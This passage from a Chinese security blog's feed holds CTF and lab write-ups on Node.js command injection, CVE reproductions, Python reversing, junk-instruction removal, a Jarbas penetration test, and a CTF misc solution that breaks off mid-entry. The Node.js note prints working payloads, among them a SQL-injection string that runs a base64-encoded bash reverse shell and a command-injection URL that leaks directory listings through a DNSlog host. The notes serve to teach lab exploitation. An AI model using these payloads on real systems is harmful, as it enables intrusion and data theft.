<content type="html"><![CDATA[<h2 id="命令执行">命令执行</h2><p>使用 <a href="https://nodejs.cn/api/child_process.html#child_processspawnsynccommand-args-options">child_process 子进程</a> 执行系统指令</p><p>如果有使用 eval 函数则可以使用以下方式执行系统指令</p><pre><code>?eval=require('child_process').execSync('cmd').toString()</code></pre><p>以上指令详细解释:</p><ul><li><code>require('child_process')</code> 用于导入 Node.js 的 child_process 模块。<ul><li>注:Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令</li></ul></li><li><code>execSync('cmd')</code> 同步执行其中的指令</li><li><code>toString()</code> 将返回的对象转换为字符串类型</li></ul><p>若过滤了exec,还有 <code>spawnSync</code> 用法和详细解释如下</p><pre><code>eval=require("child_process").spawnSync('cmd',['args']).stdout.toString()</code></pre><ul><li><code>require('child_process')</code> 同上</li><li><code>spawnSync('cmd',['args'])</code> 同步执行 cmd 命令,数组内容是参数</li><li><code>stdout</code> 访问子进程的标准输出,它是一个缓冲区(Buffer)对象。</li><li><code>toString()</code> 方法将缓冲区转换为字符串,使输出内容可读。</li></ul><h3 id="例题">例题</h3><ul><li>CTFshow - web335</li><li>CTFshow - web336</li></ul><h2 id="Node-js-CVE-的复现">Node.js CVE 的复现</h2><h3 id="CVE-2017-16082">CVE-2017-16082</h3><h4 id="原理">原理</h4><p>详细请见<a href="https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html"> node.js + postgres 从注入到Getshell</a></p><p>简述:获取数据库字段名并处理时将字段名作为参数传入 Function 类中,搭配 SQL 注入即可通过其创建的函数来远程执行代码</p><h4 id="复现">复现</h4><p>靶机地址:<br /><a href="https://github.com/vulhub/vulhub/blob/master/node/CVE-2017-16082/README.zh-cn.md">https://github.com/vulhub/vulhub/blob/master/node/CVE-2017-16082/README.zh-cn.md</a></p><p>Payload:</p><pre><code class="language-sql">SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"</code></pre><p>靶机中无法直接控制字段名,但是因为可以多句执行,所以也可以控制传入的字段名</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=MEpGdExCZWlSemtNOXlQYzRCQUNFUFZjZCtGOHBheFE=" alt="Pasted image 20250331231432" data-caption="Pasted image 20250331231432" loading="lazy"></p><p>虽然此处返回内部错误,但此处其实已经成功反弹了 shell</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=M1JhdkJCT05HUFM0UllPNEJNSG0zL1ZjZCtGOHBheFE=" alt="Pasted image 20250331231548" data-caption="Pasted image 20250331231548" loading="lazy"></p><p>注意事项:在传参的过程中要进行 URL 编码后再发送请求,否则无法复现成功</p><h3 id="CVE-2021-21315">CVE-2021-21315</h3><p>靶机地址:使用 <a href="https://github.com/fofapro/vulfocus">vulfocus</a> 自建</p><p>Payload</p><pre><code>http://ip:port/api/getServices?name[]=$("cmd")</code></pre><p>仅需发送 GET 请求即可</p><p>在靶机中使用的 Payload 如下:</p><pre><code>http://127.0.0.1:56430/api/getServices?name[]=$(ping%20`ls%20/tmp`.d247976159.ipv6.bypass.eu.org)</code></pre><p>使用 Dnslog 服务,最终得到 flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=cy9IVUJkbmplQ0ZBVTR5dFJsR2plUFZjZCtGOHBheFE=" alt="1743440284690" data-caption="1743440284690" loading="lazy"></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=WVk5WEZ2L1p5ZzVSb25Gd2hCM3lwZlZjZCtGOHBheFE=" alt="Pasted image 20250401010532" data-caption="Pasted image 20250401010532" loading="lazy"></p>]]></content>
<summary type="html">本文深入探讨了Node.js中利用child_process模块执行系统命令的方法,包括execSync和spawnSync的详细使用及原理,并介绍了Node.js CVE漏洞(如CVE-2017-16082)的复现过程,帮助开发者理解安全风险并提升代码防护能力。</summary>
<category term="笔记" scheme="https://24kblog.top/tags/%E7%AC%94%E8%AE%B0/"/>
<category term="CTF" scheme="https://24kblog.top/tags/CTF/"/>
<category term="Node.js" scheme="https://24kblog.top/tags/Node-js/"/>
<category term="RCE" scheme="https://24kblog.top/tags/RCE/"/>
</entry>
<entry>
<title>Python逆向</title>
<link href="https://24kblog.top/posts/426072920/"/>
<id>https://24kblog.top/posts/426072920/</id>
<published>2025-03-23T06:57:37.000Z</published>
<updated>2026-03-04T04:26:40.327Z</updated>
<content type="html"><![CDATA[<h2 id="常用工具">常用工具</h2><blockquote><p>工欲善其事,必先利其器</p></blockquote><ul><li><code>pyinstxtractor-ng</code>:用于解压打包好的 exe 文件</li><li><code>pycdc/pycdas</code>:用于反编译 pyc 文件</li><li><code>IDA</code>:逆向 pyd/so 文件</li></ul><h2 id="如何判断">如何判断</h2><p>可以通过图标来判断,也可以先拖入 IDA 查看,可以看到有很多 Py 开头的引用</p><h2 id="几种题型">几种题型</h2><h3 id="直接反编译型">直接反编译型</h3><p>一般来说,这种题型不会在放反编译上下太大功夫,而主要考察其它方面,如密码学<br />通常是打包成exe文件或者直接给pyc文件</p><h4 id="解法">解法</h4><p><code>pycdc</code> 直接唆</p><pre><code>pycdc -o output.py ./input.pyc</code></pre><p>如果遇到已经打包好的:</p><pre><code>pyinstxtractor-ng target.exe</code></pre><p>然后找到对应的pyc文件使用pycdc反编译即可</p><h4 id="例题">例题</h4><ul><li>2024 红岩杯 - MniGame</li><li>2020 moeCTF - MidPython</li></ul><h3 id="字节码类">字节码类</h3><p>python 编译后也是有类似汇编的东西的,通过 PVM 来执行这些代码<br />简单来说就是虚拟机,跟寒假考核的虚拟机是相似的原理,像这样的虚拟机还有 JVM,处理 Java Class 文件的</p><h4 id="解法-2">解法</h4><p>这类型的题目分为两种,一种是直接给字节码的文本文件,需要自己翻译成普通的 Python 代码 ,<br />还有一种就是 <code>pycdc</code> 无法正常反编译时,需要使用 <code>pycdas</code> 来读取汇编理解程序</p><p>这样的题目主要在于如何理解程序,好在 Python 汇编比较好理解,也有对应的文档可查</p><p>使用 <code>uTools</code> 软件安装 Python 文档插件,然后输入 <code>opcode 对应汇编语句</code> 即可查询对应用法</p><h4 id="例题-2">例题</h4><ul><li>2021 ZJCTF - crackPYC</li><li>第二届黄河流域网络安全技能挑战赛 - ezpyc</li></ul><h3 id="pyd-so-逆向-Cython">pyd/so 逆向 (Cython)</h3><p>最难的部分</p><p>首先讲一下 Cython 的原理,Cython 是一个 Python 扩展或者说是另一种编程语言,这取决于你怎么去使用它,使用 Cython 可以加快程序的运行速度</p><p>Cython 的一个用法是先将一个 Python 文件翻译为 C 语言文件,然后再编译为 pyd(WIindows)/so(Linux) ,最后在需要的 Python 文件中引入这些动态链接库</p><p>另外一个用法是直接使用由 C 编译好的库</p><p>还有一个就是将其当作一个结合了 C 和 Python 的编程语言,源码文件后缀为 <code>pyx</code></p><p>在逆向实践中,主要是对 <code>pyd/so</code> 文件进行逆向,但是为了兼容 Python 的动态类型、面向对象等特性,Cython 生成的 C 源码加入了大量的兼容性内容,可读性很差,更不用说逆向之后了</p><p>Cython 视频:BV1JQiCY9ELX BV1J2BJYoEGo</p><h4 id="解法-3">解法</h4><p>参考:<a href="https://blog.csdn.net/qq_36791177/article/details/144567790">系统讲解pyd逆向/Cython逆向</a></p><ul><li><p>分析 <code>pyd</code> 文件进行信息搜集,确认 Python 版本,函数名等</p><ul><li>可以通过编写另外一个python程序并引用此pyd文件,然后dir查看</li><li>也可以导入 IDA 然后查找字符串</li></ul></li><li><p>linux编译一份相同python版本的so文件,ida载入,File->Produce File->Create C Header File导出结构体</p></li><li><p>加载需要逆向的pyd,File->Load File->Parse C Header File,导入so文件导出xxx.h(有错误就修复),导入so文件导出的xxx.h是因为错误比较少,windows带调试符号导出的header错误较多比较难修复</p></li><li><p>windows编译一份带调试信息的pyd,ida导出idb,bindiff载入</p></li><li><p>定位__Pyx_CreateStringTabAndInitStrings(),还原__pyx_mstate结构体(python变量名)</p></li><li><p>定位_Pyx_InitConstants(),还原__pyx_mstate结构中的整数成员</p></li><li><p>定位到核心函数,动态调试</p></li><li><p>根据调用Cython api的库函数,重新定义变量类型为导入的结构体,来高效还原python代码</p></li><li><p>动态调试,frida hook等<br />可能还有其它方法,有待研究</p></li></ul><h4 id="例题-3">例题</h4><ul><li>2024-CCB-CISCN-Quals - cython</li><li>2024-CCB-CISCN-Quals - rand0m</li></ul><h3 id="其它">其它</h3><p>除了上述的几种,还有 Pyinstaller 打包时加密,或者是对 <code>pyc</code> 加花,改或删 magic_number 等等<br />不知道之后出题人还会有什么玩法</p><h4 id="解法-4">解法</h4><ul><li>magic_number:<a href="https://www.cnblogs.com/czlnb/p/15118864.html">https://www.cnblogs.com/czlnb/p/15118864.html</a></li><li>Pyinstaller 打包时加密:<a href="https://bbs.kanxue.com/thread-271253.htm">详细解法</a>/简述:先解包,然后找crypto_key(含key参数)和archive(含加密过程)</li><li><code>pyc</code> 加花:可能需要16进制编辑去花</li><li>有些解法还要搭配动态调试等食用</li></ul>]]></content>
<summary type="html">本文详细介绍了Python逆向工程中常用的工具和方法,包括pyinstxtractor-ng解压exe、pycdc/pycdas反编译pyc文件、IDA逆向pyd/so文件。涵盖直接反编译型、字节码类和Cython逆向三种题型,提供具体解法步骤和实战例题,帮助安全研究人员和CTF选手掌握Python逆向核心技术。</summary>
<category term="笔记" scheme="https://24kblog.top/tags/%E7%AC%94%E8%AE%B0/"/>
<category term="CTF" scheme="https://24kblog.top/tags/CTF/"/>
<category term="信安" scheme="https://24kblog.top/tags/%E4%BF%A1%E5%AE%89/"/>
<category term="逆向" scheme="https://24kblog.top/tags/%E9%80%86%E5%90%91/"/>
</entry>
<entry>
<title>花指令笔记</title>
<link href="https://24kblog.top/posts/1856646162/"/>
<id>https://24kblog.top/posts/1856646162/</id>
<published>2025-01-23T19:59:21.000Z</published>
<updated>2026-03-04T04:28:23.704Z</updated>
<content type="html"><![CDATA[<h3 id="花指令是什么">花指令是什么</h3><p>简单来说就是用来干扰反编译器进行分析的一些代码小技巧</p><p>要说专业一点的话就是:</p><blockquote><p>花指令是企图隐藏掉不想被逆向工程的代码块(或其它功能)的一种方法, 在真实代码中插入一些垃圾代码的同时还保证原有程序的正确执行, 而程序无法很好地反编译, 难以理解程序内容, 达到混淆视听的效果。</p></blockquote><blockquote><p>花指令通常用于加大静态分析的难度。 <sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup></p></blockquote><h3 id="常见花指令类别">常见花指令类别</h3><h4 id="抵消型花指令">抵消型花指令</h4><p>这类花指令一般不会影响分析,但是可能会影响栈平衡</p><p>这类花指令通常要注意两个方面,逆运算与栈平衡</p><p>常见的逆运算:</p><pre><code class="language-asm">push-pop(压栈-出栈)add-sub adc-sbb (加法-减法 进位加法-借位减法)mul-div imul-idiv (乘法-除法 整数乘法-整数除法)inc-dec (加1-减1)shl-shr (左移-右移)xor-xor (异或)not-not (取反)</code></pre><h4 id="jmp-db型花指令">jmp db型花指令</h4><p>这类花指令可能不太会影响到 IDA 的分析,但有可能会影响到其它逆向分析软件,尤其是使用线性扫描算法的软件</p><p>这类花指令分为无条件跳转、条件跳转和干扰分析型</p><p>比较需要注意的是干扰分析型</p><p>一个栗子:</p><pre><code class="language-asm">start: xor eax,eax; test eax,eax; jz label0; jnz label1;label 0: db 0E8hlabel 1: xor eax,3; add eax,3; ...........</code></pre><h3 id="花指令去除步骤">花指令去除步骤</h3><h4 id="手动去除">手动去除</h4><p>找到花指令 nop 掉,然后选择先前为分析成功的部分,先按 <code>P</code> 转换为函数,再尝试将重新分析后的程序转换为伪代码</p><p>具体可参考<a href="https://anjio-fighting.github.io/2024/03/11/Reverse/Reverse-%E8%8A%B1%E6%8C%87%E4%BB%A4/">这篇文章</a></p><h4 id="脚本去除">脚本去除</h4><p>有时候遇到工作量比较大时可以使用脚本去除,如果是比较简单的花指令使用脚本也可以提高效率</p><p>要使用脚本需要先将对应的脚本拷到 IDA 对应的文件夹里</p><p>然后在 <code>Edit -> Plugins -> 插件名</code> 使用</p><p>我使用了 <a href="https://github.com/x1aon1ng/NoMoreFlower">NoMoreFlower</a> ,这个可以去除一些基本的花指令</p><hr class="footnotes-sep" /><section class="footnotes"><ol class="footnotes-list"><li id="fn1" class="footnote-item"><p>如想更详细的了解请阅读这篇文章:<a href="https://bbs.kanxue.com/thread-279604.htm">https://bbs.kanxue.com/thread-279604.htm</a> <a href="#fnref1" class="footnote-backref">↩︎</a></p></li></ol></section>]]></content>
<summary type="html">本文深入解析花指令的概念、分类及去除方法。花指令是用于干扰反编译器分析的代码技巧,通过插入垃圾代码隐藏真实功能,增加逆向工程难度。文章详细介绍了抵消型花指令和jmp db型花指令,并提供了手动和脚本两种去除花指令的实用步骤,帮助逆向工程爱好者更好地理解和应对代码混淆技术。</summary>
<category term="网安" scheme="https://24kblog.top/tags/%E7%BD%91%E5%AE%89/"/>
<category term="笔记" scheme="https://24kblog.top/tags/%E7%AC%94%E8%AE%B0/"/>
<category term="CTF" scheme="https://24kblog.top/tags/CTF/"/>
<category term="逆向" scheme="https://24kblog.top/tags/%E9%80%86%E5%90%91/"/>
<category term="汇编" scheme="https://24kblog.top/tags/%E6%B1%87%E7%BC%96/"/>
</entry>
<entry>
<title>Jarbas 渗透测试笔记</title>
<link href="https://24kblog.top/posts/2575785019/"/>
<id>https://24kblog.top/posts/2575785019/</id>
<published>2025-01-21T18:10:37.000Z</published>
<updated>2026-03-04T04:26:07.413Z</updated>
<content type="html"><![CDATA[<blockquote><p>靶机地址:<a href="https://download.vulnhub.com/jarbas/Jarbas.zip">https://download.vulnhub.com/jarbas/Jarbas.zip</a></p></blockquote><h2 id="渗透过程">渗透过程</h2><p>拿到靶机开机第一件事就是就是找到靶机,先用 nmap 扫一下同一网段的机子</p><pre><code class="language-shell">$ nmap 10.0.2.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 02:01 ESTNmap scan report for 10.0.2.1Host is up (0.000034s latency).Not shown: 999 closed tcp ports (reset)PORT STATE SERVICE53/tcp open domainMAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)Nmap scan report for 10.0.2.2Host is up (0.000063s latency).Not shown: 993 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh80/tcp open http139/tcp open netbios-ssn445/tcp open microsoft-ds631/tcp open ipp902/tcp open iss-realsecure24800/tcp open unknownMAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)Nmap scan report for 10.0.2.3Host is up (0.000042s latency).All 1000 scanned ports on 10.0.2.3 are in ignored states.Not shown: 1000 filtered tcp ports (proto-unreach)MAC Address: 08:00:27:A3:71:23 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Nmap scan report for 10.0.2.15Host is up (0.000049s latency).Not shown: 996 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh80/tcp open http3306/tcp open mysql8080/tcp open http-proxyMAC Address: 08:00:27:FE:DD:8E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Nmap scan report for 10.0.2.5Host is up (0.0000020s latency).All 1000 scanned ports on 10.0.2.5 are in ignored states.Not shown: 1000 closed tcp ports (reset)Nmap done: 256 IP addresses (5 hosts up) scanned in 2.32 seconds</code></pre><p>访问两个开放了 80 端口的机子可以知道目标机器是10.0.2.15</p><p>找到目标后进行更进一步的扫描</p><pre><code class="language-shell">$ nmap 10.0.2.15 -sV -sT -OStarting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 02:03 ESTNmap scan report for 10.0.2.15Host is up (0.00049s latency).Not shown: 996 closed tcp ports (conn-refused)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.4 (protocol 2.0)80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)8080/tcp open http Jetty 9.4.z-SNAPSHOTMAC Address: 08:00:27:FE:DD:8E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Device type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2 - 4.14Network Distance: 1 hopOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds</code></pre><p>获取到有 <code>OpenSSH 7.4</code> <code>Apache httpd 2.4.6</code> <code>MariaDB 10.3.23</code> <code>Jetty 9.4.z-SNAPSHOT</code> 等服务,系统版本是 <code>Linux 3.2 - 4.14</code> ,报告中也可以知道是 <code>CentOS</code> 这个发行版(其实启动靶机的时候就知道了)</p><p>除了 <code>TCP</code> 要扫,<code>UDP</code> 也要扫</p><pre><code class="language-shell">$ nmap 10.0.2.15 -sU Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 02:05 ESTStats: 0:00:52 elapsed; 0 hosts completed (1 up), 1 undergoing UDP ScanUDP Scan Timing: About 6.20% done; ETC: 02:19 (0:13:22 remaining)Stats: 0:02:18 elapsed; 0 hosts completed (1 up), 1 undergoing UDP ScanUDP Scan Timing: About 14.30% done; ETC: 02:21 (0:13:53 remaining)Stats: 0:07:01 elapsed; 0 hosts completed (1 up), 1 undergoing UDP ScanUDP Scan Timing: About 40.78% done; ETC: 02:22 (0:10:13 remaining)Stats: 0:15:54 elapsed; 0 hosts completed (1 up), 1 undergoing UDP ScanUDP Scan Timing: About 88.06% done; ETC: 02:23 (0:02:09 remaining)Nmap scan report for 10.0.2.15Host is up (0.00064s latency).Not shown: 996 closed udp ports (port-unreach)PORT STATE SERVICE68/udp open|filtered dhcpc539/udp open|filtered apertus-ldp998/udp open|filtered puparp5353/udp open|filtered zeroconfMAC Address: 08:00:27:FE:DD:8E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 1114.07 seconds</code></pre><p>并没有什么特别有用的价值,目前已知有两个站点,一个在80端口,一个在8080端口<br />访问发现一个是网站主站,一个是管理网站的</p><p>两个站点都可以试着目录爆破一下</p><pre><code class="language-shell">$ gobuster dir -u http://10.0.2.15 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php===============================================================Gobuster v3.6by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://10.0.2.15[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.6[+] Extensions: html,php[+] Timeout: 10s===============================================================Starting gobuster in directory enumeration mode===============================================================/index.html (Status: 200) [Size: 32808]/.html (Status: 403) [Size: 207]/access.html (Status: 200) [Size: 359]/.html (Status: 403) [Size: 207]Progress: 429860 / 661683 (64.96%)[ERROR] Get "http://10.0.2.15/60411.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)[ERROR] Get "http://10.0.2.15/60411.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)[ERROR] Get "http://10.0.2.15/Yasasoft%20Dvd%20To%20Vcd%20Avi%20Divx%20Converter%20Magicdvdripper%20v3": context deadline exceeded (Client.Timeout exceeded while awaiting headers)[ERROR] Get "http://10.0.2.15/60411": context deadline exceeded (Client.Timeout exceeded while awaiting headers)[ERROR] Get "http://10.0.2.15/Yasasoft%20Dvd%20To%20Vcd%20Avi%20Divx%20Converter%20Magicdvdripper%20v3.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)[ERROR] Get "http://10.0.2.15/10691": context deadline exceeded (Client.Timeout exceeded while awaiting headers)[ERROR] Get "http://10.0.2.15/10691.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)[ERROR] Get "http://10.0.2.15/10691.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)[ERROR] Get "http://10.0.2.15/74516": context deadline exceeded (Client.Timeout exceeded while awaiting headers)[ERROR] Get "http://10.0.2.15/74516.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)Progress: 661680 / 661683 (100.00%)===============================================================Finished===============================================================</code></pre><p>可以发现有一些比较有趣的页面,<code>access.html</code></p><p>(PS: 刚开始扫描没有加 -x 参数,没有扫到目录,加上 -x 以添加后缀后就可以扫到了)</p><p>访问 <code>access.html</code> ,可以看到有三个像是 md5 加密值的东西</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=Y1RHNTcwUEE2YVVqT3ZpK3Rua0QvL013b2Yzd0x2TUtaQT09" alt="截图_选择区域_20250121225656" data-caption="截图_选择区域_20250121225656" loading="lazy"></p><p>找解密的网站找一下,发现都能找到</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=OW5XRjVVZnJsTnVZSUtNVmh3UGpCL013b2Yzd0x2TUtaQT09" alt="屏幕截图 2025-01-21 152718" data-caption="屏幕截图 2025-01-21 152718" loading="lazy"><br />貌似是账号和密码的对应关系,试着在 8080 端口的站点登录,可以发现 eder 这串可以登入</p><p>网站使用的是 Jerkins,可以通过构建任务来执行 shell 命令</p><p>利用此来反弹 shell</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=b25tZklnZmRBWGZsZTIrUXVjbEZaT0VMcnVtZUt5MD0=" alt="截图_选择区域_20250121153702" data-caption="截图_选择区域_20250121153702" loading="lazy"></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=cFNLWkR1TkdJVmtTTlk0VHJKRjV4R0hXK2hPdUNYd0Y=" alt="截图_选择区域_20250121153800" data-caption="截图_选择区域_20250121153800" loading="lazy"></p><p>反弹指令执行前要先开启监听</p><p>得到 shell 后先查明用户情况</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=RXhtZEtzajExOUJqQnRiR1dsWjFQSG14amZNZ3Vkdz0=" alt="截图_选择区域_20250121154150" data-caption="截图_选择区域_20250121154150" loading="lazy"></p><p>可以看到大部分都是功能性的账户,所以提权的目标是 root 用户</p><p>检查一下其他的地方,比如 <code>crontab</code></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=cHJGRTZlcWU5MlhoYy9adHNsMnB2VkFZYTJjek9IQT0=" alt="截图_选择区域_20250121154306" data-caption="截图_选择区域_20250121154306" loading="lazy"></p><p>发现 <code>crontab</code> 有在用 root 身份每五分钟执行一个脚本,可以通过修改脚本来获取 root 用户的 shell</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=d2wxWWduNXVScUt2aFVic2V0bjFLdlRhV2VjUnNKST0=" alt="截图_选择区域_20250121155145" data-caption="截图_选择区域_20250121155145" loading="lazy"></p><p>等待最多五分钟即可得到 root shell,同样的,也要提前开启监听</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=QXlsQVVZeVA3WVN4MUxuZHJrdTE5V0oyY3B4SWI0VT0=" alt="截图_选择区域_20250121155539" data-caption="截图_选择区域_20250121155539" loading="lazy"></p><p>拿到 shell 后就可以试着找 flag 等文件了</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=RVYzTVRVYW54L3owU2tRSzFVWVZTQzFWNHU4MVlIND0=" alt="截图_选择区域_20250121155647" data-caption="截图_选择区域_20250121155647" loading="lazy"></p><h2 id="总结">总结</h2><ul><li>操作上:<ul><li>在扫描时没有进行全端口扫描,只扫描了低位端口,<code>-p-</code> 参数没有加。虽然有很多服务默认端口都在低位,但不扫描高位的话容易错过可以利用的地方。</li><li>目录爆破可能需要备一些字典</li><li>8080 端口站点也可以尝试字典爆破</li></ul></li><li>过程难点:<ul><li>想获取 root shell 的时候有点不好找如何提权,这需要熟悉常见的可利用提权方法 <a href="https://hackerqwq.github.io/2020/10/23/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B9%8B%E6%8F%90%E6%9D%83%E7%AF%87/">渗透测试之提权篇一</a> <a href="https://hackerqwq.github.io/2021/09/06/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B9%8B%E6%8F%90%E6%9D%83%E7%AF%87%E4%BA%8C-Linux%E6%8F%90%E6%9D%83/">渗透测试之提权篇二(Linux 提权)</a> <a href="https://hackerqwq.github.io/2021/09/17/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B9%8B%E6%8F%90%E6%9D%83%E7%AF%87%E4%B8%89-Windows%E6%8F%90%E6%9D%83/">渗透测试之提权篇三(Windows 提权)</a></li><li>除了常用提权方法,也需要熟悉常用的反弹 shell 手段 <a href="https://hackerqwq.github.io/2022/01/13/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B9%8B%E5%8F%8D%E5%BC%B9shell%E5%90%88%E9%9B%86/">渗透测试之反弹shell合集</a></li></ul></li><li>其它手段:<ul><li>Jerkins 有许多可以利用的漏洞,本次渗透可以尝试利用<br /><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1003000">CVE-2019-1003000</a><br />有关<a href="https://www.jenkins.io/security/advisories/">更多 Jenkins 的漏洞</a></li><li>一些奇技淫巧:通过编辑 grub 以进入 root shell,因为在一般的渗透测试中比较难拿到机器的物理控制权限,所以比较罕见(<s>黑客潜入服务器机房戏码</s>,不过 grub 也可以上密码来着)</li><li>端口扫描时还有一个开放的 3306 端口,使用的是 <code>MariaDB</code> ,可以尝试查找<a href="https://mariadb.com/kb/en/changes-improvements-in-mariadb-10-3/">可利用的漏洞 </a></li></ul></li></ul>]]></content>
<summary type="html">本文详细记录了针对Jarbas靶机的渗透测试过程,从使用nmap进行网络扫描开始,逐步分析开放端口和服务,为网络安全爱好者和渗透测试人员提供实战参考。通过具体的命令和结果展示,帮助读者理解如何识别潜在漏洞并开展安全评估。</summary>
<category term="网安" scheme="https://24kblog.top/tags/%E7%BD%91%E5%AE%89/"/>
<category term="渗透" scheme="https://24kblog.top/tags/%E6%B8%97%E9%80%8F/"/>
<category term="笔记" scheme="https://24kblog.top/tags/%E7%AC%94%E8%AE%B0/"/>
</entry>
<entry>
<title>2024 红岩杯 CTF WP</title>
<link href="https://24kblog.top/posts/100693146/"/>
<id>https://24kblog.top/posts/100693146/</id>
<published>2025-01-18T15:58:49.000Z</published>
<updated>2026-03-04T04:26:01.096Z</updated>
<content type="html"><![CDATA[<blockquote><p>开学前忘记迁移 hexo 数据了,几个月都没更新,现在回家不知道发什么,就把之前写的 wp 拉过来凑个数了</p></blockquote><h2 id="Misc">Misc</h2><h3 id="Are-you-a-JPG-master">Are you a JPG master?</h3><h4 id="step-1">step 1</h4><p>根据提示使用 <a href="https://github.com/ww23/BlindWatermark">Java 盲水印</a>来获得 <code>level2.zip</code> 的密码</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=SUs3RnJCQXFqdzZYbTJGWEMzaDFHUkFHQnBrUGkzTFlxdz09" alt="1" data-caption="1" loading="lazy"></p><h4 id="step-2">step 2</h4><p>有一个 <code>level2.jpg</code> 和 <code>dic.txt</code> 猜测要跑字典,可能是图种或用某种隐写方式隐写了flag</p><p>使用 <code>binwalk</code> 未检测出压缩包</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=UlRFTVFPYS84Rmtuam1IUzBOOWp4eEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123190606" data-caption="Pasted image 20241123190606" loading="lazy"></p><p>使用 <code>stegdetect</code> 检测隐写类型:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=MXozbjhjTS9SNGpKSnZFOEhvUHVLUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123185412" data-caption="Pasted image 20241123185412" loading="lazy"></p><p>未检测出有效隐写类型,猜测使用了 <code>steghide</code> ,尝试使用 <code>stegbrute</code> 跑字典,得到flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=OUR5M0dwb0JvZTJXazhoUTRic0ZXUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123185722" data-caption="Pasted image 20241123185722" loading="lazy"></p><h3 id="HardZip">HardZip</h3><h4 id="step-1-2">step 1</h4><p>给了一个 <code>dic.txt</code> ,所以使用 ARCHPR 跑字典</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=VEFjOHM2RWdHNldJdzlTS2oxaEJhQkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123190849" data-caption="Pasted image 20241123190849" loading="lazy"></p><h4 id="step-2-2">step 2</h4><p>得到密码,解压得到 <code>第二关.zip</code> 和 <code>hint.txt</code> ,根据 <code>hint.txt</code> ,了解到要用掩码攻击</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=RmlEVUxoSHIrY2RVMkRZN1FGN05XQkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123191308" data-caption="Pasted image 20241123191308" loading="lazy"></p><h4 id="step-3">step 3</h4><p>得到密码,继续解压得到一个 <code>flag.zip</code> 文件</p><p>使用 <code>010editor</code> 查看其十六进制,得知此文件并非伪加密</p><p>查看压缩包目录,发现有 <code>flag.txt</code> 和 <code>What's_this.png</code> 两个文件,可以知道要使用明文攻击,因为已知文件中12字节数据,且其中至少8字节连续,即可进行明文攻击</p><p>因为 <code>png</code> 头都是一样的,所以我构造了一个 <code>png</code> 头,然后使用 <code>bkcrack</code> 进行明文攻击,得到3个密钥并解密,得到 flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=UnhEemdtZ0hSaURkQVNuS2NJUmhwUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123195009" data-caption="Pasted image 20241123195009" 